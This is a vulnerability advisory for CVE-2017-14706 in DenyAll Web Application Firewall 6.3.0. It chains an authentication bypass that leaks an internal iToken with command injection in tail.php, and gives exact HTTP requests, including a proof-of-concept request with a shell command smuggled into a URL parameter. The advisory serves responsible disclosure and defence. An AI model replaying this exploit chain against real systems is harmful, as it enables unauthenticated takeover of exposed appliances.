Advisory | DenyAll Web Application Firewall Unauthenticated Remote Code Execution (CVE-2017-14706)

DenyAll Web Application Firewall is the foundation for next generation application security products. It combines ease of configuration – with its workflow engine and management APIs – with a proven ability to secure web applications. It embeds negative and positive security, in-context, user behavior analysis, and soon-to-be added rWeb advanced security engines, to efficiently protect your web applications while minimizing false positives.

Advisory Informations

Remotely Exploitable: Yes
Authentication Required: NO
Vulnerable Version: 6.3.0
Technology: NodeJS, Kibana, PHP
Vendor URL: https://www.denyall.com/products/web-application-firewall/
CVSSv3 Score: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Date of found: 30 Jun 2017

Technical Details

While reviewing this product, I’ve seen that it’s possible to have this product on AWS Market for 15-day free usage. (https://aws.amazon.com/marketplace/pp/B00FGCUM7S)

So I’ve deployed this product and access to the machine by using SSH key. After several minutes, I’ve seen that administrator interface is written with NodeJS.

First thing that I’ve looked for was about login process.

var login = function login(req,res,next) {
    log.debug();

    if (!req.body) req.body = {};

    var data = {
        login:req.body.username || req.query.username,
        pass:req.body.password || req.query.password,
        readOnly:req.body.readOnly || req.query.readOnly || false,
        forceConnexion:req.body.forceConnexion || req.query.forceConnexion || true,
        clientIp: req.ip
    };

    // I OMITTED tHE CODE

    _xmlApiClient.request(opts, function(err, response) {

        // I OMITTED tHE CODE 

    },res);

};

So it seems there is an internal API where NodeJs use for authentication etc. In order to find out internal API, I went after _xmlApiClient

Here is the very interesting function definition from xmlApiClient.js file.

var xmlApiRequest = function xmlApirequest(opts, callback, res) {

    // ... CODE OMITTED ...

    var target = 'https://' + _config.xmlApi.host + ':' + _config.xmlApi.port + '/webservices/index.php?api=' + opts.api + '&function=' + opts.func;

    // ... CODE OMITTED ...
};

We started to getting more promising information about that product. We have PHP api ?. We just need to find out what is the host and port variables which probably comes from configuration file.

"xmlApi": {
    "host": "127.0.0.1",
    "port": "3001",
    "guiVersionFile":"/etc/version.txt",
    "nodeId": null,
    "tcpTimeout":1000,
    "httpTimeout":300000
},

If you look at the following netstat output, you will see an interesting thing. It looks like localhost binded services but actually it’s not..! 3001 port is publicly accessible as well.

~ netstat -tnlp |grep -v '127\|::' 

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 172.31.11.218:2222      0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.31.11.218:22        0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.31.11.218:3001      0.0.0.0:*               LISTEN      3866/actrld         
tcp        0      0 172.31.11.218:3002      0.0.0.0:*               LISTEN      -

As you can see TCP Port 3001 is not listening on the localhost.

Abusing PHP Backend

Very interesting code snippet for endpoint located at /webservices/download/index.php is as follow.

if($_REQUEST['typeOf']!='kdbImages' && $_REQUEST['typeOf']!='debug'){
  //validation jeton
  if(isset($_REQUEST['iToken'])){
    if($local->getIToken()!=$_REQUEST['iToken']){
      header('HTTP/1.1 403 Forbidden');
      exit(-1);
    }
  }else{
    if(isset($_REQUEST['tokenId'])){
      if(!API_validUid($_REQUEST['tokenId'])){
        header('HTTP/1.1 403 Forbidden');
        exit(-2);
      }
      $session = loadClass('sessions');
      if($session->searchUid($_REQUEST['tokenId'])===false){
        header('HTTP/1.1 403 Forbidden');
        exit(-3);
      }else{
        if(!isset($_REQUEST['forceNoRefresh'])){
          $session->refreshTimeSession($_REQUEST['tokenId']);
          $session->save();
        }
        unset($session);
      }
    }else{
      header('HTTP/1.1 403 Forbidden');
      exit(-2);
    }
  }
}

So if typeOf parameter is NOT kdbImages and debug, whole authentication mechanism will be bypassed..! Following code snippet is much more important even it’s not looks like very promising.

case 'debug' :
  $norealpath=false;
  $removeSrc=true;
  $compress=false;
  $removeDst=false;
  $autoDownload=true;
  if(!isset($_REQUEST['applianceUid'])){
    debug("download debug sans applianceUid");
    exit;
  }
  $applianceUid=$_REQUEST['applianceUid'];
  $src=downloadFile('debugInternal',$applianceUid,'debug.dat');
  $dst=$src=realpath($src);
  $fileNameDownload=basename($src);
  if(!is_readable($src)) exit;
  break;

Above code allow us to download debug.dat file which contains one crucial information. Here is the HTTP GET request where you can trigger this flow.

GET /webservices/download/index.php?applianceUid=LOCALUID&typeOf=debug HTTP/1.1
Host: 52.28.216.170:3001
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

RESPONSE

HTTP/1.1 200 OK
Date: Fri, 30 Jun 2017 17:30:12 GMT
Server: Apache
Content-disposition: attachment; filename="debug.dat"
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Content-Length: 697
Pragma: public
Content-Type: application/vnd.nokia.n-gage.data

<?xml version="1.0" encoding="UTF-8"?>
<response status="-1">
  <error code="STACKTRACE"><arg string="1">Internal error</arg></error><line>
    <datetime>2017-06-30 17:30:12 (UTC)</datetime>
    <action></action>
    <function></function>
    <request>a:3:{s:6:"typeOf";s:13:"debugInternal";s:4:"file";s:9:"debug.dat";s:6:"iToken";s:32:"y760e0299ba6fc1a2739df5a8f64fc5a";}</request>
    <errornum>2</errornum>
    <errortype>Alerte</errortype>
    <errormsg>touch(): Unable to create file /var/tmp/debug/ because Is a directory</errormsg>
    <scriptname>/var/denyall/www-root/wsSource/class/filesClass.php</scriptname>
    <scriptlinenum>18</scriptlinenum>
    <memoryKbUsage>1280</memoryKbUsage>
</line>

</response>

Crucial information is iToken .  It’s being used across the application for authentication. So leaking this information gives us a tones of abilities.

Command Injection

To be honest, I’ve seen plenty of possible command injection location. One of these location is at /webservices/stream/tail.php . Following code snippet is taken from beginning of this file.

if(isset($_REQUEST['iToken'])){
  if($local->getIToken()!=$_REQUEST['iToken']){
    exitPrint(t_("Bad key, authentication on slave streaming server failed"));
  }
}else{
  exitPrint(t_("Authentication on slave streaming server failed"));
}

if(isset($_REQUEST['tag']) && $_REQUEST['tag']!=''){
  // on doit chercher le bon fichier
  if(isset($_REQUEST['stime'])&&$_REQUEST['stime']!=''){ // Start time version
    tailDateFile();
  }else{ // dernier fichier ouvert
    if($_REQUEST['tag']=='tunnel') $_REQUEST['file']=basename(shell_run("ls -1t ".__RP_LOG__."*/".$_REQUEST['uid']."/*-".$_REQUEST['type'].".log| head -n1 2>/dev/null"));
    else $_REQUEST['file']=$_REQUEST['uid'].'-'.$_REQUEST['type'].'.log';
  }
}

As you can see, authentication is placed by  iToken value which is already leaked by abusing previous bug. There is one very important function call, which is tailDateFile(). Here is this function definition.

function tailDateFile(){
  global $_REQUEST;
  
  $stime=(int)($_REQUEST['stime']/1000);
  
  $tag=$_REQUEST['tag'];
  $uid=$_REQUEST['uid'];
  $type=$_REQUEST['type']; // access or error
  
  chdir(__RP_LOG__);
  
  if($tag=='tunnel'){ // reverse proxy
    $files=shell_run("ls -1 */$uid/*-$type-*.log 2>/dev/null|sort")."\n"; // avec date trié au début
    $files.=shell_run("ls -1t */$uid/*-$type.log 2>/dev/null"); // courant trié par utilisation
  }else{
    $files=shell_run("ls -1 $uid-$type*-log 2>/dev/null|sort")."\n";
    $files.=shell_run("ls -1t $uid-$type.log 2>/dev/null");
  }
  
  // .. CODE OMITTED ..
}

As you can see, we are able to control $uid parameter and it’s being used as a part of parameter of shell_run() function. Viola, we have unauthenticated command injection by combining two issue.

PoC

Following HTTP request will trigger the RCE.

GET /webservices/stream/tail.php?iToken=y760e0299ba6fc1a2739df5a8f64fc5a&tag=tunnel&stime=aaa&type=aaa$(sleep%2030") HTTP/1.1
Host: 52.28.216.170:3001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: connect.sid=s%3AWGBO5SaeECriIG8z4SMjwilZgl7SM0ej.0hGC0CcXrwnoJLb4YucLi8lbr%2FC8f2TNIicG4EmFLFU
Connection: close
Upgrade-Insecure-Requests: 1

Metasploit Module

You can find-out metasploit module PR for this vulnerability at followin URL.
https://github.com/rapid7/metasploit-framework/pull/8980

Timeline

30 Jun 2017 21:33 – Vulnerability found

30 Jun 2017 22:37 – CTO of DenyAll get in touch with us.

19 Sep 2017 – New version released. Article public release.

Mehmet Ince

Master Ninja @ Prodaft / INVICTUS Europe.